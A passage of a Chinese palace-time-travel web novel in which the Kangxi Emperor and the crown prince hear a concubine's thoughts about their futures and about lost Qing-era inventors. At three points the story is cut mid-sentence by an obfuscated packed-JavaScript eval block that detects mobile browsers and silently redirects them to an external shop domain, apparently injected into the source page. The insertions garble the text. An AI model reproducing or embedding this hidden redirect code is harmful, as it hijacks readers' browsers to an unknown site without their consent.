“哎……真不如当他儿子呢,说起来除了老大、老二、老三、老八、老九、老十四被圈,后面的都挺好啊,尤其是十二、十六、二十三都活到七十多,比康熙活得还久呢,都活到了乾隆年了哎。” “这可都是渣渣龙的叔叔辈,过得应该都蛮好的。” 康熙听着她这一句接着一句地爆料,手中的茶盏差点没拿稳。 无论是几个儿子被圈禁,还是那句涉及他寿命的话,都足以让他下意识屏住呼吸。 “说起来……康熙活到什么时候来着?”就当齐满月的心声即将说到他此时最关注的话题时,宫人突然进来汇报。 “太子殿下求见。” “……有事吗?”康熙沉默了一瞬,难掩声音中的冷意低声问道。 之前每一次太子都会第一时间召进来,这是第一次康熙问了问题,让宫人不由一愣,差点儿没反应过来。 “请皇上恕罪。”小太监压低着头,浑身微微颤抖。 康熙第一次理解了那个在齐满月心声中圈禁儿子的人,他竟然对才八岁的太子有了怀疑和警惕。 这样想着,他余光扫向旁边低眉顺眼的齐满月,心中莫名起了念头,这个女人恐怕又要说些什么他不想听的话了。 “咦?康熙竟然对太子还有这种非儿子爸爸贴贴的情况?”果然齐满月心声直接响起。 为了防止齐满月发现异常,康熙召了太子进来。 他压下了心中那一抹异常,那是他无法反驳的对太子产生的试探和戒备。 “给汗阿玛请安。”胤礽不发脾气时,看起来就是一个颇有礼节的翩翩少年人。 他侧过身对站在一旁的齐满月打了个千儿:“这位可是永寿宫齐佳贵人?” “奴婢给太子殿下请安,太子安。”齐满月赶忙侧身回了半礼。 虽然具云秀教导的,身为贵人的她在私下对太子不必如此自谦,但齐满月总觉得礼多人不怪,毕竟前两天康熙还莫名其妙发脾气呢,听说太子一向骄纵,万一随了爹呢。 这番话自然透过她的心声传到了两父子耳中。 两父子尴尬地相视一眼,康熙才开口说道:“行了,有事吗?” 胤礽愣了下,似乎是没想到康熙对他这样冷淡,赶忙又说道:“儿子有门课业不懂,想来汗阿玛这里求教。” “皇上……”齐满月听着父子俩有正经事,赶忙行礼打算离开。 可康熙却一抬手直接拦下:“行了,你是长辈,也听着吧。” 胤礽自然明白康熙的意思,便若有其事地拿出课业递到康熙面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543751|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 前。 康熙翻看着纸张一点点给他解答。 这场景看起来十分父慈子孝,不过实际上一个心神不在课业上,一个纯是胡扯教学。 “哎……这么好的父子,怎么就闹成那样呢?” “说到底都是康熙活得太久了!” 不承想对方蹦出来的第一句话直接剑指康熙寿数,吓得胤礽脸都白了几分。 他偷偷看了皇父一眼,见他面色如常,不禁暗自感慨不愧是汗阿玛。 “古今天下岂有四十余年之太子乎?啧啧~” 这一句再抛出来,太子连头都不敢抬了,只能低着头沉默地看着课业,仿佛沉浸其中不可自拔。 康熙眼神在他身上不断扫过,直至再一次被齐满月的心声打断。 “可惜啊,他不知道他要是知道了在三百多年后,西方世界出了个当了七十年的太子哈哈哈哈哈哈,不知道他心里好受一点不。” “不!一点都不!我都不一定能活七十年!”胤礽再次压低了头,满心腹诽道。 “朕都没活到七十,他当了七十年太子??!难怪……”康熙的眼神则再次看向胤礽。 “其实也不怪太子,爹嘛是个好爹,就是控制欲强,还活得久,自己孙子都要有了,结果老爹还活着,下面的弟弟们还虎视眈眈,帮助自己的大臣还不断拖后腿,甚至到最后连爹都不想着自己了。” 听着这话,胤礽放在桌下的手紧握住,指甲甚至直接插入掌心,疼痛将他的大脑从震惊中找回了几分理智。 “汗阿玛……”到底才八岁的他,即便听到了自己的未来,即便如此慌张,可还是想下意识去依靠自己一直信任的人。 康熙也被心尖尖的太子结局所吓到,他呆愣着,直到听到太子的声音才回过神来,他眼神复杂地看着儿子,又看向旁边跟着发呆的女人。 他不愿相信那是自己会做出来的事情,可有个声音在他的心里告诉他,如果他真的活了那么久,如果他真的生了那么多孩子,那么齐佳氏所说的未尝不是未来。 “他想让老大给老二当磨刀石,想要让索额图和明珠对立以免无法控制朝堂,可惜……人算不敌天算,人心最难把控。” “最后太子二废二立被圈禁,老大被逼到自找死路说要帮皇父亲手杀太子圈禁,老三……” “老三算了,脑子跟不够一样。” “老四……雍正帝倒是个好皇帝,就是可惜了累死在案牍上,选的继承人真的是……无话可说!” “老八、老九、老十、十四的八爷党最后也落得被圈禁,甚至还被老四起了个特别难听的名字。” “要不是……” 康熙和胤礽早已没有心神继续听齐满月心声里那些阿哥的结局,全部的心神都在齐满月那句“老四,雍正是个好皇帝”上。 他们是怎么都没想到如今才四岁的老四竟然会成为继承人,更没想到对方竟然是累死的。 想到这里父子俩同时地念头竟然不是怎么是他,反而同时闪过一个念头:“这孩子是不是脑子不够用?当皇帝能把自己累死??看来以后要仔细盯着他锻炼了……” 当然之后齐满月的一个心声告诉他们,有些人的身体素质是上天注定的,人力无法更改,毕竟四力半啊…… 11. 历史的遗憾 “说起来在女人和孩子上,老康和他孙子乾隆还是比较像的,对后宫妃嫔都称得上端水大师了,不过老康需要熬资历凭家世,倒不如老乾还好些,至于雍正……随便吧,总觉得更像是个演戏高手。” “哎……我看乾隆为主角的小说更多啊,要是穿越到那个时候还能抱大腿,这个时候抱谁?德妃?一个传统老太太宠溺小儿子?不行不行,皇贵妃……?也不行,早死啊……” 齐满月没在意爷俩的震惊,只一心沉浸在自己世界里。 这对地位最高的天家父子面面相觑后,默契地沉默听着旁边的心声一点点传来。 “老康这个狗皇帝脾气上来嘴是真毒啊,先骂掌中宝生而克母,又骂八儿子辛者库贱婢所生,简直了,要不是看他对后妃还算是个人,真的骂一万次都不为过……” 胤礽别的没听到,只那一句“生而克母”落到了他的心中,他没想到有一日看似爱着自己的汗阿玛会对自己说出这样的话,杀他尚不如这句诛心之话更让他想死了。 也是这一瞬,低头看着课业的胤礽内心里骤然起了一丝杀意,那是他曾经想都不敢想的对君父的杀意…… 康熙并没有注意到胤礽的反应,他被齐满月心声里的自己吓到了,他怎会对自己疼爱的太子说出这样的话……这样刻薄到可以逼死这个孩子的话来? “不过与其骂太子,不如骂他自己,第一个皇后22岁去世,第二个皇后20岁去世,第三个皇后虽然只当了一天,但应该也不过三十岁就去世了,这样说来反而是他克妻了,而且谁让他睡了人家的,人家生了他的崽还骂人家,呸!狗男人!” 胤礽已经吓得低垂着头死活不肯抬起来了,毕竟他能想到齐佳贵人是后世人胆子大,但没想到胆子大到这个地步,此时对皇上的那一点点怨恨也已经烟消云散,只恨不得马上消失。 康熙下意识伸出手捂住胸口,发妻去世确实是他心中的一个痛,他更想不到连表妹竟也未活到三十岁,想到这两年佟佳氏身体确实不大好,一时间恨不得马上叫御医给她诊治。 只是看着齐佳氏茫然的表情,那即将可能暴露的念头到底占据了上风,让他暂且将一切压下。 他抬头看着太子,眼眸眯了眯,才开口说道:“如今你也大了,平日里可经常来这边听政,朕也该教教你。” “屁啦,现在是掌中宝,等他年纪大了,儿子也大了,对皇位的占有欲达到了顶峰,现在太子的一切都是罪名好嘛。” 胤礽刚想点头应下,就听到了齐佳氏的心声骤然响起,点头的动作一顿,好一会儿后才似反应过来僵硬地点了下头。 康熙满意地颔首后才突然接着开口:“南怀仁等异族可以学习他们的东西,但也要常怀警惕之心知道吗?” “对!这才是句人话!南怀仁那狗东西,跟康熙吹牛皮说造出大炮,结果用了一年狗屎都没出来,人家戴梓八天就搞出来了!” “砰!”康熙突然起身的动作把齐满月吓了一跳,心声也被打断。 胤礽下意识将不满的眼神投向汗阿玛,可不等康熙反应,就吓得赶忙收回眼神。 “没事儿,朕突然被胤礽的课业气到了。”康熙回过神来,看着大殿里除了太子外,皆已跪在地上,连刚刚在心声里怒骂他的齐佳氏亦是如此。 看着对方表面上一副怯弱的模样,康熙宛如一口气憋在心底是怎么吐都吐不出,只能瞪了眼胤礽后,才摆了摆手:“行了,起来吧。” “吓死宝宝!狗皇帝啊,果真脾气阴晴不定,还骂雍正,这不随他随得铁铁的吗?!” 这句话一抛出来,康熙反应暂且不提,胤礽是恨不得举手赞成,再送上一些珍宝以示奖励,希望对方多说、狠狠说。 只是偷偷看着汗阿玛脸色都有些发青了,只能暗自压下满心的感慨,带着些许遗憾做出一副忏悔的模样:“是儿子的错。” “那还不滚回去好好继续学?”康熙想着齐佳氏心声里一直口不择言,后续虽然是重要的事情,但也有些不想让太子知道的,便打算借此让太子离开。 只是太子也不知道是被这一天齐满月的心声洗礼后胆大了,还是破罐子破摔了,他轻咳一声:“汗阿玛,儿子觉得还是您帮着儿子一点点解释的好,儿子实在愚钝。” 康熙何等人也,哪儿看不出他这点小心思,冷哼一声后,还是沉默坐下,指着课业说道:“看这里!” “呼……警报解除!”齐满月小心捏了捏帕子,在心里松了口气,“伺候这位真不舒服,想回我的空调房,想玩我的游戏,啊啊啊啊,皇帝这个发型是真的丑啊,太子这么可爱的奶包子都看起来丑了好多!” 胤礽没忍住摸了摸自己脑袋后的金钱鼠尾,又看了看汗阿玛,直到收到对方警告的眼神后才赶忙低头,暗自腹诽:“确实不好看……” “还是我汉人王朝的发型好看啊,剃发易服,提出这个的多尔衮被撅棺鞭尸也是活该,哎要是我也有什么系统能够改变历史,倒不如去明朝直接灭了女真族,不!” “我要告诉那对老夫妇不要救他们的祖先!” “其实与其回到明朝,不如直接回到秦朝,带着始皇帝统一全球哈哈哈哈哈哈哈,啊,咳咳咳……” 齐满月做梦正开心,结果被自己的口水呛到,抬头间余光扫到康熙有些难看的脸色,赶忙下跪磕头。 “行了,念你年幼,又是初次奉驾,此番便不责罚你了。”康熙不耐地摆了摆手,他还打算听戴梓的事情呢,哪儿有功夫罚对方,别说对方骂他们大清,便是指着鼻子骂他祖宗,他也没办法,毕竟系统绝不准许他伤害拯救员。 “呼……以后再不能这样了,我要谨慎谨慎再谨慎!”齐满月在心中暗暗发誓,那边耳朵里就传来父子俩说起戴梓的事情。 “翰林院侍讲中有个戴梓,这人在火器上有些天赋,但为人略有些直愣,又因军功晋升,朕想着可否让他专司火器研发。” “汗阿玛英明,此人既有大才,儿子浅见,不若给他专司火器司,让他专心研究?”胤礽做出乖顺模样陪着康熙演戏。 “哇!可一定要成功!!!!”齐满月在旁边不住地在心里期盼着,这爷俩千万不要犯浑! “要是能把黄履庄给找出来就好了,那可是堪比爱迪生一样的发明家!!” 一个陌生的名字从齐满月的心声中传来,康熙父子俩面面相觑,他们能够听出来在齐满月的心里这位比武器天才戴梓更重要,一时间两人齐齐停下动作,只一心听着心声,唯恐错过了某个字眼。 “自行车啊!世界上最早的记录,比欧洲早了一个世纪!那可是一百年!光学显微镜、望远镜!探照灯甚至可以照亮数里!温度计、湿度计能够直接判定晴雨,哪一个不是能够改变历史和民生的!还有自动驱暑扇,自动跳舞的木鸟,会叫的机器狗!还有那本奇器图略!” 这一句句说的康熙父子俩一个比一个激动,他们都不是傻子,更不是无知的人,尤其是康熙本就擅长西学,此时知道自家有这样的宝贝,哪里不激动,谁曾想下一秒齐满月就给他们泼了一盆冷水。 “可惜了……只知道他现在二十六岁,而他二十八岁之后就销声灭迹了,他的所有发明原理,图纸都失传了……” “若是……若是这两个人才被重视,若是清朝不是走奴隶制的制度,如果……如果一切都被重视,是不是这片土地上那些悲剧将不会再发生……” “国破山河在,城春草木深……” 谁都没想到齐满月吐出这样一个炸弹:一个如此被后世人重视、甚至被认为有了他就会改变历史的存在,竟然只剩下短短两年寿命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543752|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这个消息让康熙恨不得现在就找到黄履庄然后将其保护起来。 他刚想开口吩咐齐满月离开,好整理下今天听到的心声,今天的信息量实在太多了,他需要冷静,结果就听到了齐满月的心声再次响起。 “上天也曾眷顾过满清这个第二个在华夏大陆诞生的异族王朝吧……只是如元朝一样,满清不曾当自己是这片土地的主人,他们依旧怀着打谷草的想法奴役着这里,于是知识从人们的大脑中褪去,愚民政策达到顶峰。” “剃发易服,嘉定十日,扬州三屠……如果说血腥屠杀可以从时间中慢慢淡去,可剃发易服这种一看就不是汉人传承下来的习俗,何尝不是在天下的汉人心中插了一把永远不会被拔出的尖刀,每时每刻告诉着他们这片大地上有何等惨烈发生过,这群统治者是和我们不一样的……” “即便一代代满清皇帝崇拜汉学,可异族的服饰就是一遍遍无声的提醒啊……” 康熙未曾说出口的话怎么都无法再说出口,曾经齐满月心声里那一句句嫌金钱鼠尾丑,他尚且觉得她浅薄无知狂妄,可这段心声出来,他却无法从心底辩驳…… “上天赐予的那些珍宝们被无视,被放弃……戴梓、黄履庄也不过是其中两颗明珠而已,可时间长河中,满清这一段又何止这些明珠……” “孙云球,光学仪器天才,能制造七十多种光学仪器……” 康熙和胤礽刚刚被齐满月说得有些萎靡的精神不由大振。 “啊……已经去世了……” 不过转瞬间又被齐满月的心声打击到。 “徐朝俊,钟表专家!”谁承想又一个名字出现。 “啊……重孙子年间的啊。” “王贞仪!女天文学家!!!!” 爷俩再次精神振奋起来,结果…… “哦,孙子和重孙子时期的,爹估计都没出生……嗯,应该说爷爷还没出生吧哈哈哈哈。” “让我再想想……” 康熙和胤礽赶忙坐直身体,期盼着齐满月嘴里再吐出几个能用的人。 “啊……还有谁来着?” “王徵?这是明朝的啊,薄珏?好像也是明朝的……郑复光?孙子时期的……啧,没福气的家伙!” 齐满月偷偷瞪了一眼康熙的后背,又恐被人发现,赶忙低垂下头。 “说起来……好像有几个是康熙年的……” 康熙被齐满月这一出出弄得憋得难受的一口气,总算可以吐出来了。 “明安图?啊……康熙三十几年的,还没出生?梅瑴成……应该出生了,啊好像才一岁啊……果真是没福气的家伙!” “齐佳氏。”康熙这次是真没忍住。 “奴婢在。”齐满月赶忙跪下。 “回你的永寿宫去。”康熙咬着牙,装作平淡的模样吩咐道。 胤礽实在没忍住咧嘴偷笑了一下,在康熙没发现之前,赶忙又收回去。 齐满月是真没想明白又发生什么了,为什么她奉驾总是奇奇怪怪的,没听说其他妃嫔这样啊,而且她还蹭上御膳呢! 这个心声一传出,胤礽实在没忍住扑哧一笑。 康熙瞪了他一眼,才对梁九功吩咐道:“齐佳贵人奉驾有功,今日的御膳拨两道菜给她。” “谢主隆恩!”齐满月的声音中是难以掩饰的惊喜。 当然她的心声更惊喜:“感谢狗皇帝!” 康熙没想到都这样了还被对方骂一句狗皇帝,气得猛吸了几口气,回头瞪着状似无辜却满脸难掩笑意的胤礽:“还不带着你的课!业!滚回毓庆宫!” “儿子这就告退!”胤礽轻咳两声,拿起课业跑得比兔子都快。 直到大殿里除了宫人再无他人后,康熙才忍不住扯起嘴角,笑着怒骂了一句:“真是” 12. 改变的第一步 懋勤殿恢复了往日的沉静,康熙看着桌案上的折子怔愣了许久后才对一旁梁九功问道:“你说……朕对百姓如何?” 梁九功吓得赶忙跪在地上,这等涉及朝政的事情哪里是他这等阉人能讲的。 康熙见他这样不免有些无趣,摆摆手让他退下。 “百年屈辱……到底发生了什么?让齐佳氏如此念念不忘且能够让系统这样的神物出现在这里,只为了改变那段历史?” “戴梓……黄履庄……这样的人才合该为朕所用才是!” “来人!召高士奇!” 满清这艘即将走向破败的大船在这一刻,在康熙的命令下,走上了另一种未知。 高士奇本就是南书房近臣,听到康熙召见,便知道一定是机密要事,便紧赶慢赶,不过盏茶功夫就来到懋勤殿。 “朕听说有一位奇人名黄履庄,今年不过二十有六,却能够做各种机巧之物,有那可自行行走的车,还有自动跳舞的木鸟?你可知此人?” 高士奇被他问得一愣,赶忙跪在地上叩首:“臣……未曾听闻这等奇人。” 康熙并不意外,这位黄履庄既然在二十八岁就失去踪迹,那不为人所知也不算奇怪,只是他觉得既然对方有这样的天赋,又有作品流传到后世,想来应该会有些名气才是。 “去查吧。”他心下有些着急,但也知道这不是他着急就有用的,便摆手让高士奇退下。 懋勤殿发生的事情,很快就传入到了慈宁宫。 太皇太后犹豫着要不要召皇帝过来问问,旁边的苏麻喇姑就笑着劝说道:“主子何必着急,便是真得了什么要紧的事情,皇上怕也要先安排好才能来告知您啊。” 想到自己这个孙子,可谓是天生的帝王,太皇太后也不由松了口气:“也罢,既然他已经知道我和他都能听到心声,自然不会太瞒着我。” “就算瞒着怕也是那齐佳贵人心声里有些逾矩的,皇上怕是失了脸面自然不愿意和您说。” “他是我和你从小带到大的,有什么可失脸面的!”太皇太后忍不住笑着说道。 苏麻喇姑无奈摇了摇头:“到底是皇上,又不是小孩子了。” 太皇太后脸上闪过恍然:“是啦……时间过得真快,现在都康熙二十一年了……皇帝都二十八岁了……” “是啊……”苏麻喇姑看着太皇太后的白发,也忍不住叹了口气。 “对了,皇上可曾说了阿图的事情?” 看着太皇太后眼中难掩的急切,苏麻喇姑赶忙抓住她的手连连点头:“主子放心,当日皇上就派人赶去蒙古,明旨让淑慧长公主回京,在昨日也安排了内务府在京里给长公主建一个公主府。” “那就好……那就好……”太皇太后脸上带着无法抑制的笑意,“我此生共四子,如今便只余这一个了……” “主子……”苏麻喇姑轻轻将太皇太后的手放在自己的腿上,一只手在她的后背慢慢地摩挲着。 两个老人在这安静的慈宁宫主殿里齐齐沉浸进过去那些或欣喜或悲伤的回忆中…… 至于胤礽,他被齐满月的心声吓了一跳,他固然是因为这等奇异能力感到惊讶,更因为齐满月满心的大胆言语而害怕。 不过害怕之余,是某种不可言喻的激动,那是对皇权和父权长久压迫下的某种反抗,是他曾经从未想过的。 “或许……多气气汗阿玛,我就不会像那位一样了……”坐在毓庆宫的书房中,看着那乱七八糟的课业,他脑子里突然闪过一个大逆不道的想法。 “吓!”胤礽被自己的念头吓到,可随着喇嘛念经的声音不断传来,他越发觉得这或许并不是一个坏主意。 毕竟汗阿玛爱不爱他是其次,就像齐满月心声所说的,皇权之争本就残酷,他虽才八岁,却早已在师傅的教导下读了不少史书,那史书中对皇权之争的记载虽不过寥寥几笔,却能看出那中间的血腥残酷。 他不会对汗阿玛真的拿起屠刀,也无法想象自己会对汗阿玛动手,但是那句“生而克母”实在伤到他了。 齐满月那样的心声无疑是在汗阿玛那样的人心中不断插刀,既然如此,悄悄加一把火也可以不是吗? 阿哥所里的大阿哥对胤礽从懋勤殿回来一事并没有想太多,只觉得汗阿玛实在偏疼了这位太子,脑海中也想到了明珠对他的暗示。 皇贵妃自然也听到了消息,她倒没想太多,只是觉得需要让胤禛学会谨慎,至少能瞒多久瞒多久吧。 谁曾想当天晚上,皇上突然来到承乾宫,还带来了御医,这也让她心中起了新的涟漪。 “或许这位齐佳贵人比她想象中的更重要……” 齐满月丝毫不知道满宫里能够说得上的几个大佬对自己的关注,她轻咳一声咽下口水,等着云秀给自己布好菜。 “这两个就是皇上赏的?!”她不可置信地看着桌子上一盘子清拌豆腐,一盘子小饽饽。 云秀莫名地看了一眼食盒,茫然地点了点头:“是啊,这是内务府送来的,食盒上也有进上的签子。” 齐满月本以为会是她没吃过的什么精致大菜,却没想到是这两样,无奈叹了口气捏起一个饽饽。 “哎~这个饽饽是肉的哎!我喜欢!”她眼睛唰地一亮,连着捏了三个饽饽进嘴。 “小主喜欢,下次也让他们给您做肉饽饽。”云秀见状笑着将饽饽的位置往前挪了挪。 齐满月吃得非常满足,一口一个肉饽饽,再吃一点清爽的豆腐,喝一口爽口的羹汤。 “喵~”突然一只白猫不知道从哪里而来,跳到了永寿宫的城墙上。 “猫?哪儿来的?”齐满月愣了下,她可是标准的猫脑袋。 此时听到猫叫声,连吃饭都顾不得了,直接小跑到门口,看着宫人们正小心哄着猫下来。 这边宫人们还没将猫哄下,一个俏丽的女子带着宫人急忙忙就走来:“雪球儿!” 那女子在身后的宫人提醒下,赶忙又给齐满月打招呼:“惊扰了齐佳贵人,这是我的猫雪球儿。” 齐满月呆愣着回了个平礼,才从云秀的耳语中知道面前这位女子是成贵人戴佳氏。 “成贵人是去年十二月从成答应晋封贵人的,当时她还是启祥宫答应,后来启祥宫修缮,便搬到了宜妃娘娘的翊坤宫。”云秀细细将对方来历说了一通。 这会儿功夫那边已经将雪球儿哄了下来,成贵人抱着雪球儿回到了齐满月跟前:“齐佳妹妹实在对不住,我刚刚让宫人给雪球儿剪指甲,不小心让它跑到这里来。” “没事儿,雪球儿很可爱。”齐满月本就喜欢猫,如今看这只雪球儿乖巧漂亮只恨不得抱在怀里亲几口,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543753|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 里会生气。 见她喜欢,成贵人笑着说道:“我看齐佳贵人也是爱猫之人,若真喜欢可以去猫儿房挑只。” “好,多谢成贵人告知。”齐满月听后一心都放在猫上面,对成贵人并没有寒暄的意思。 成贵人自然也看出来了,却只当齐满月骄矜,毕竟对方入宫不过三四日,便被皇上召见两次,还得了太皇太后的青眼,有几分傲气也并非不理解,便笑着提出告辞。 “贵人何必对她如此客气?说来还是您先入宫呢?”成贵人带着宫人走在墙下,宫人回看了永寿宫一眼,有些不忿道,“该是她好命,其他小妃嫔哪个没有主位娘娘管着,偏她自居一宫。” “闭嘴!”成贵人狠瞪了对方一眼,才警告道,“若是再口不择言,你就自己去慎刑司。” 宫人赶忙噤声。 成贵人见状回看了一眼永寿宫,心下不禁叹了口气暗诽道:“她何尝不想立个前辈的威风,可这后宫不说高位娘娘,只说小嫔妃们,什么答应常在贵人,无非是谁得了盛宠谁更有地位罢了,如今……她用什么比齐佳氏?” 齐满月自然不知道成贵人主仆二人的事情,她仔细琢磨着猫的事,脑子里也闪过了另一个手工。 “小主想要什么猫?”云秀早已从她的眼神中看出她喜欢猫,也不意外她会着急养猫。 “什么颜色都行,你瞧着选一只,要毛多、爱掉毛的。” 云秀愣了一瞬,她只听过妃嫔们喜欢养不掉毛的猫,头一次听说要掉毛的,不过齐佳氏这几日稀奇古怪的事情做多了,她也有点习惯了,便也没多说。 猫儿房的人也惊讶她的要求,但也没多问,只抱了一只明显毛更厚的奶猫过来。 “行,就这只吧。”云秀仔细掂量了一下,才将猫带回到永寿宫。 看着不过自己一只手大的猫崽,齐满月不由一愣。 她本来打算是收集猫毛,做个猫毛毛毡杯垫,可如今这巴掌大的猫也不知道什么时候能提供足够的猫毛。 “呃……算了养着吧,你们记得收集它的毛。”她无奈叹了口气,仔细交代了云秀后,就打了个哈欠,打算去贵妃榻上眯一会儿。 宫内尚且称得上平和,宫外的高士奇却发了愁。 这天下之大,他到哪里找皇上指名要的人啊……尤其是一个只知道名字和能力的人。 “这样的奇人若是传出名声来,怕早已名满天下了,这可从哪里下手……” 他正发愁呢,旁边的下属抱着资料走来。 “大人为何事发愁?为何让下官送来这些资料?”开口的是跟他最久的下属,对他说话也没有那么地顾忌。 高士奇叹了口气,将皇上说的事情简单说了句:“你说这黄履庄到底是怎么冒出来的,怎么就被皇上知道了呢?” “黄履庄?自行车?”下属愣了一下,总觉得这个名字有些熟悉。 “怎么?你听过?”高士奇对跟着自己最久的下属可谓是非常了解,不过听他的语气便猜出一二。 “属下觉得有些熟悉。”下属蹙眉应道。 “快想!想出来我为你在皇上面前请功!”高士奇激动地直接走到他面前,满脸急切催道。 “在想了,在想了……”下属被他催得,只能不住地在房间里徘徊,想着这个名字到底在哪里听过。 13. 变革的启蒙 “喵~”齐满月还没睡醒就感觉身上毛茸茸的,她吓得猛地坐起身,才发现是那只刚抱回来的奶猫。 “呼……”她拍了拍怦怦直跳的心,才对已经走来的云秀摆了摆手,“没事儿,被猫球吓了一跳。” 云秀赶忙上前打算将猫球抱走,齐满月却摆了摆手:“算了,我抱着吧。” 齐满月在云秀等人的帮助下重新梳洗了一番后,才抱起猫猫深吸了一口气:“啊……舒服。” 她醒来时已经到了晚上,云月直接拎着食盒进来,将晚点摆了一桌。 “怎么有那么多?我份例没那么多吧?”齐满月坐到桌子前一脸懵。 云月一边给她将点心一一摆在桌子上,一边笑着解释道:“是御茶膳房送来的,说是皇上特意吩咐过的。” “御茶膳房?怎么不是内务府送来的?”齐满月愣了下,好奇问道。 云秀在旁听到,轻笑说道:“本就是御茶膳房送的,那边是专门负责皇上御膳的,只要是皇上吩咐赏赐的膳食皆是出自御茶膳房。” “咦?中午那个不是内务府吗?”齐满月捏了个枣泥饽饽正美美地咬了一口。 “听说是御茶膳房忙不过来,正好内务府往各宫送东西,就顺道捎过来了,这才贴了内务府的条子。”云秀将她最爱的肉馅饽饽往前挪了挪。 满清宫里一日只有两次正餐,一次是早上,一次是中午,而中午这顿饭也叫做晚餐,至于现在她吃的是晚点,没有饭菜只有点心,这也是齐满月非常不习惯的地方。 虽然齐佳府最初也是如此,可自从她恢复记忆后,阿玛额娘就随着她的意一日三餐了,之前想着嫁到别家自己当家做主也不是不能顺着自己的意,谁曾想进了宫,只能听别人的。 想到这里她不由叹了口气,顺手又捏了一块肉馅饽饽,吃着饽饽她脑海里瞬间想到康熙和自己在懋勤殿说的那些话,不知道为什么突然有那么一丢丢心虚:“中午说的是不是有点过了?也不能每次都骂他狗皇帝吧?” 琢磨了两下后,她又忍不住想:“可是只有几道菜就把我拉拢了,我也太廉价了吧?” 随着几口饽饽咽下去,齐满月总算哄好了自己:“算了,反正在心里骂他也听不到~” 康熙那边丝毫不知道,自己竟然差点儿用几道菜就收买了这个内心里不断骂自己的女人,他现在只满心复杂地看着跪在眼前的高士奇和他的下属何焯。 “你们是说那黄履庄在三年前就带着自行车来过京城?” 跪在地上的两人无法从康熙的声音中察觉出他到底是开心还是生气,但却莫名地感觉到一股冷意顺着膝盖,手掌一点点地向上蔓延。 他们无法确定是因为皇上的圣威而感觉到恐惧,还是因为自己的胆怯而产生的幻觉,只能跪在地上沉默着。 “能确定是哪里人吗?” “扬州人。”何焯赶忙回道。 “高士奇,你去安排,朕希望能尽快见到此人。” “臣遵旨!”高士奇带着何焯赶忙下跪领命,随后一点都不敢耽搁,赶忙离宫,让人将黄履庄好生请回京。 “这样的人才明明都来过京城,却被偏偏错过……上天真的恩赐大清吗?” 康熙往后靠在御座上,看向对面的墙壁,许久后才叹了口气:“还是说……像你说的一样,那刺进汉人心口的刀,在不断地让汉人诅咒大清,诅咒着上天也不再恩赐大清……?” “皇上,慈宁宫……” 康熙坐在孝庄面前,沉默了许久。 孝庄从他的沉默中隐约感觉到了些许什么,犹豫着开口问道:“可是齐佳氏……说了什么?” 康熙再次沉默,就在孝庄叹了口气打算将这个话题过掉时,他突然开口:“额涅玛玛,你说剃发易服真的对吗?” “……你说什么?”孝庄愣了一下,一时间没反应过来。 康熙叹了口气,将今天听到的一一告诉了孝庄。 孝庄怔愣着许久后,才苦笑着摇了摇头:“这……可真是……一个大难题啊……” “额涅玛玛,您说如果朕……废除了剃发易服……” “不可!”孝庄直接站起来,脸上是难掩的愤怒,“剃发易服一则是满族立足之本,二则也是分清顺逆之别。” “且不说这些,只说你今天废除了剃发易服,焉知明日那些汉人大臣会不会身穿广袖大衫登入朝堂,后日就可要求我们满人遵汉俗?到那时,先祖所创国语骑射可还在?满洲本色若失,我们又如何以异族身份坐稳江山?” “你别忘记,蒙古他们也是剃发,你若废除将他们置于何地?现在还不曾将汉人彻底镇压臣服我们,难不成你还要后院着火不曾?” 孝庄这连珠炮似的追问,直接砸向康熙。 康熙张了张嘴,到底没开口反驳,只站起身恭敬弯了腰:“是孙儿糊涂,额涅玛玛切莫气坏了身体。” 孝庄脸色依旧有些阴沉,她冷冷扫向慈宁宫外,看着永寿宫的方向:“或许她能够给我们带来变化和奇迹,但你绝不能完全被她牵着鼻子走,要知道她虽然是我们满族的血脉,可骨子里灵魂里是纯正的汉人!” “是,孙儿谨记。”康熙再次弯腰行礼。 苏麻喇姑见状赶忙上前扶住孝庄:“好了主子,您消消气,皇上如今不是小孩子了,他知道自己做什么,您呀就安心吧。” 孝庄被她搀扶着坐回到罗汉床上,她深吸了口气才看着康熙说道:“你汗阿玛当日就是因为亲近汉臣,惹得满蒙大臣不悦,闹出了多大的事端你又不是不知道。” “若不是……”她看着康熙沉默着的面无表情的脸,那句若不是他早死的话怎么都说不出口。 眼神再次投向永寿宫:“说起来,当日你汗阿玛非要纳进宫的恪妃石氏不就住在永寿宫,我看这永寿宫风水实在不佳,很不适合汉人女子居住。” 她看着康熙继续说道:“启祥宫是不是快修缮好了?到时候让齐佳氏搬入启祥宫,给个嫔位也算看在她齐佳血脉的身份上的恩赐了。” 